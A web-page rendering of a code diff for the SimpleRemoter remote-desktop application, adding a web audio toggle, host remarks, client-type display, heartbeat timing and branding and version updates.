void EvaluateQuality(); // 评估并调整质量
|
void EvaluateQuality(); // 评估并调整质量
|
||||||
|
|||||||
@@ -392,6 +392,10 @@ public:
|
|||||||
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
||||||
std::atomic<bool> m_bAuthenticated{false};
|
std::atomic<bool> m_bAuthenticated{false};
|
||||||
|
|
||||||
|
// 心跳包到达 IOCP 线程的时刻(ms),用于精确计算 ProcessingMs,
|
||||||
|
// 避免 UI 消息队列等待时间污染服务端耗时统计。
|
||||||
|
std::atomic<uint64_t> HeartbeatRecvMs{0};
|
||||||
|
|
||||||
// 预分配的解压缩缓冲区,避免频繁内存分配
|
// 预分配的解压缩缓冲区,避免频繁内存分配
|
||||||
PBYTE DecompressBuffer = nullptr;
|
PBYTE DecompressBuffer = nullptr;
|
||||||
ULONG DecompressBufferSize = 0;
|
ULONG DecompressBufferSize = 0;
|
||||||
|
|||||||
@@ -222,7 +222,7 @@ BOOL CSettingDlg::OnInitDialog()
|
|||||||
#endif
|
#endif
|
||||||
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||||||
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
|
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
|
||||||
m_nFileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
m_nFileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||||
|
|
||||||
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
|
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
|
||||||
m_ComboVideoWall.InsertStringL(0, "无");
|
m_ComboVideoWall.InsertStringL(0, "无");
|
||||||
@@ -264,9 +264,6 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
|||||||
THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
|
THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
|
||||||
THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
|
THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
|
||||||
THIS_CFG.SetInt("settings", "WebSvrPort", m_nFileServerPort);
|
THIS_CFG.SetInt("settings", "WebSvrPort", m_nFileServerPort);
|
||||||
if (m_nFileServerPort > 0 && THIS_CFG.GetStr("settings", "Authorization").empty()) {
|
|
||||||
MessageBoxL("Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!", "提示", MB_ICONWARNING);
|
|
||||||
}
|
|
||||||
|
|
||||||
THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
|
THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
|
||||||
|
|
||||||
|
|||||||
@@ -46,7 +46,7 @@
|
|||||||
|
|
||||||
// 程序版本号 [建议格式: X.Y.Z]
|
// 程序版本号 [建议格式: X.Y.Z]
|
||||||
// 影响:关于对话框、标题栏
|
// 影响:关于对话框、标题栏
|
||||||
#define BRAND_VERSION "1.3.4"
|
#define BRAND_VERSION "1.3.5"
|
||||||
|
|
||||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||||
@@ -271,13 +271,13 @@
|
|||||||
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
|
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
|
||||||
|
|
||||||
// 帮助文档链接(帮助菜单 → 什么是这个)
|
// 帮助文档链接(帮助菜单 → 什么是这个)
|
||||||
#define BRAND_URL_WIKI "https://git.simpleremoter.com/"
|
#define BRAND_URL_WIKI "https://simpleremoter.com/docs"
|
||||||
|
|
||||||
// 请求授权链接(工具菜单 → 请求授权)
|
// 请求授权链接(工具菜单 → 请求授权)
|
||||||
#define BRAND_URL_REQUEST_AUTH "https://simpleremoter.com/"
|
#define BRAND_URL_REQUEST_AUTH "https://simpleremoter.com/login"
|
||||||
|
|
||||||
// 获取插件
|
// 获取插件
|
||||||
#define BRAND_URL_GET_PLUGIN "This feature has not been implemented!\nPlease contact: 962914132@qq.com"
|
#define BRAND_URL_GET_PLUGIN "https://simpleremoter.com/plugins"
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// 内部使用 - 请勿修改以下内容
|
// 内部使用 - 请勿修改以下内容
|
||||||
|
|||||||
@@ -396,6 +396,8 @@ void CWebService::ServerThread(int port) {
|
|||||||
HandleKey(ws_ptr, msg);
|
HandleKey(ws_ptr, msg);
|
||||||
} else if (cmd == "rdp_reset") {
|
} else if (cmd == "rdp_reset") {
|
||||||
HandleRdpReset(ws_ptr, token);
|
HandleRdpReset(ws_ptr, token);
|
||||||
|
} else if (cmd == "audio_toggle") {
|
||||||
|
HandleAudioToggle(ws_ptr, token);
|
||||||
} else if (cmd == "get_salt") {
|
} else if (cmd == "get_salt") {
|
||||||
HandleGetSalt(ws_ptr, msg);
|
HandleGetSalt(ws_ptr, msg);
|
||||||
} else if (cmd == "create_user") {
|
} else if (cmd == "create_user") {
|
||||||
@@ -689,14 +691,16 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get screen dimensions from device info cache (may not be available yet)
|
// Get screen dimensions + audio state from device info cache (may not be ready)
|
||||||
int width = 0, height = 0;
|
int width = 0, height = 0;
|
||||||
|
int audio_enabled = -1; // -1 = unknown yet (前端走 audio_state 事件兜底)
|
||||||
{
|
{
|
||||||
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
|
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
|
||||||
auto it = m_DeviceCache.find(device_id);
|
auto it = m_DeviceCache.find(device_id);
|
||||||
if (it != m_DeviceCache.end()) {
|
if (it != m_DeviceCache.end()) {
|
||||||
width = it->second->screen_width;
|
width = it->second->screen_width;
|
||||||
height = it->second->screen_height;
|
height = it->second->screen_height;
|
||||||
|
audio_enabled = it->second->audio_enabled;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -710,6 +714,9 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
|
|||||||
res["width"] = width;
|
res["width"] = width;
|
||||||
res["height"] = height;
|
res["height"] = height;
|
||||||
}
|
}
|
||||||
|
if (audio_enabled >= 0) {
|
||||||
|
res["audio_enabled"] = (audio_enabled != 0);
|
||||||
|
}
|
||||||
res["algorithm"] = "h264";
|
res["algorithm"] = "h264";
|
||||||
|
|
||||||
Json::StreamWriterBuilder builder;
|
Json::StreamWriterBuilder builder;
|
||||||
@@ -1002,6 +1009,33 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleAudioToggle(void* ws_ptr, const std::string& token) {
|
||||||
|
std::string username, role;
|
||||||
|
if (!ValidateToken(token, username, role)) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "Invalid token"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t device_id = 0;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||||
|
auto it = m_Clients.find(ws_ptr);
|
||||||
|
if (it != m_Clients.end()) device_id = it->second.watch_device_id;
|
||||||
|
}
|
||||||
|
if (device_id == 0) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No device connected"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 投递到 ScreenSpyDlg 的 UI 线程;那边会调用 Enable/DisableAudio 并通过
|
||||||
|
// NotifyAudioState 把新状态广播给所有 watching 的 web 客户端
|
||||||
|
if (!m_pParentDlg || !m_pParentDlg->PostWebAudioToggle(device_id)) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No active screen session"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", true));
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
// User Management Handlers
|
// User Management Handlers
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
@@ -1511,6 +1545,16 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
|
|||||||
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||||||
device["name"] = AnsiToUtf8(name);
|
device["name"] = AnsiToUtf8(name);
|
||||||
|
|
||||||
|
// 用户在 MFC 端给这台主机起的备注(菜单"修改备注"写入 MAP_NOTE)
|
||||||
|
// 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
|
||||||
|
if (m_pParentDlg->m_ClientMap) {
|
||||||
|
CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
|
||||||
|
ctx->GetClientID(), MAP_NOTE);
|
||||||
|
if (!remark.IsEmpty()) {
|
||||||
|
device["remark"] = AnsiToUtf8(remark);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
CString ip = ctx->GetClientData(ONLINELIST_IP);
|
CString ip = ctx->GetClientData(ONLINELIST_IP);
|
||||||
device["ip"] = AnsiToUtf8(ip);
|
device["ip"] = AnsiToUtf8(ip);
|
||||||
|
|
||||||
@@ -1556,6 +1600,9 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
|
|||||||
device["screen"] = AnsiToUtf8(resolution); // e.g. "2:3840x1080"
|
device["screen"] = AnsiToUtf8(resolution); // e.g. "2:3840x1080"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
device["clientType"] = AnsiToUtf8(clientType); // e.g. "MAC", "LNX", "EXE"
|
||||||
|
|
||||||
res["devices"].append(device);
|
res["devices"].append(device);
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_pParentDlg->m_cs);
|
LeaveCriticalSection(&m_pParentDlg->m_cs);
|
||||||
@@ -1699,6 +1746,37 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
|
||||||
|
if (m_bStopping) return;
|
||||||
|
|
||||||
|
// 缓存最新状态,新加入的 web 客户端通过 connect_result 取到初值
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
|
||||||
|
auto it = m_DeviceCache.find(device_id);
|
||||||
|
if (it == m_DeviceCache.end()) {
|
||||||
|
m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
|
||||||
|
it = m_DeviceCache.find(device_id);
|
||||||
|
}
|
||||||
|
it->second->audio_enabled = enabled ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value res;
|
||||||
|
res["cmd"] = "audio_state";
|
||||||
|
res["id"] = device_id;
|
||||||
|
res["enabled"] = enabled;
|
||||||
|
|
||||||
|
Json::StreamWriterBuilder builder;
|
||||||
|
builder["indentation"] = "";
|
||||||
|
std::string json = Json::writeString(builder, res);
|
||||||
|
|
||||||
|
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||||
|
for (auto& [ws_ptr, client] : m_Clients) {
|
||||||
|
if (client.watch_device_id == device_id) {
|
||||||
|
SendText(ws_ptr, json);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
|
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
|
||||||
if (m_bStopping) return;
|
if (m_bStopping) return;
|
||||||
|
|
||||||
|
|||||||
@@ -55,6 +55,8 @@ struct WebDeviceInfo {
|
|||||||
int screen_width;
|
int screen_width;
|
||||||
int screen_height;
|
int screen_height;
|
||||||
bool online;
|
bool online;
|
||||||
|
// 当前会话的音频开关。-1=未知(客户端 BITMAPINFO 还没回来),0=关,1=开
|
||||||
|
int audio_enabled = -1;
|
||||||
|
|
||||||
// Keyframe cache for new web clients
|
// Keyframe cache for new web clients
|
||||||
std::vector<uint8_t> keyframe_cache;
|
std::vector<uint8_t> keyframe_cache;
|
||||||
@@ -98,6 +100,10 @@ public:
|
|||||||
// Resolution change notification
|
// Resolution change notification
|
||||||
void NotifyResolutionChange(uint64_t device_id, int width, int height);
|
void NotifyResolutionChange(uint64_t device_id, int width, int height);
|
||||||
|
|
||||||
|
// Audio enable/disable notification — pushes current state to all web
|
||||||
|
// clients watching this device and caches it for newcomers.
|
||||||
|
void NotifyAudioState(uint64_t device_id, bool enabled);
|
||||||
|
|
||||||
// Cursor change notification (called from ScreenSpyDlg)
|
// Cursor change notification (called from ScreenSpyDlg)
|
||||||
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
||||||
|
|
||||||
@@ -129,6 +135,7 @@ private:
|
|||||||
void HandleMouse(void* ws_ptr, const std::string& msg);
|
void HandleMouse(void* ws_ptr, const std::string& msg);
|
||||||
void HandleKey(void* ws_ptr, const std::string& msg);
|
void HandleKey(void* ws_ptr, const std::string& msg);
|
||||||
void HandleRdpReset(void* ws_ptr, const std::string& token);
|
void HandleRdpReset(void* ws_ptr, const std::string& token);
|
||||||
|
void HandleAudioToggle(void* ws_ptr, const std::string& token);
|
||||||
|
|
||||||
// Token management
|
// Token management
|
||||||
std::string GenerateToken(const std::string& username, const std::string& role);
|
std::string GenerateToken(const std::string& username, const std::string& role);
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user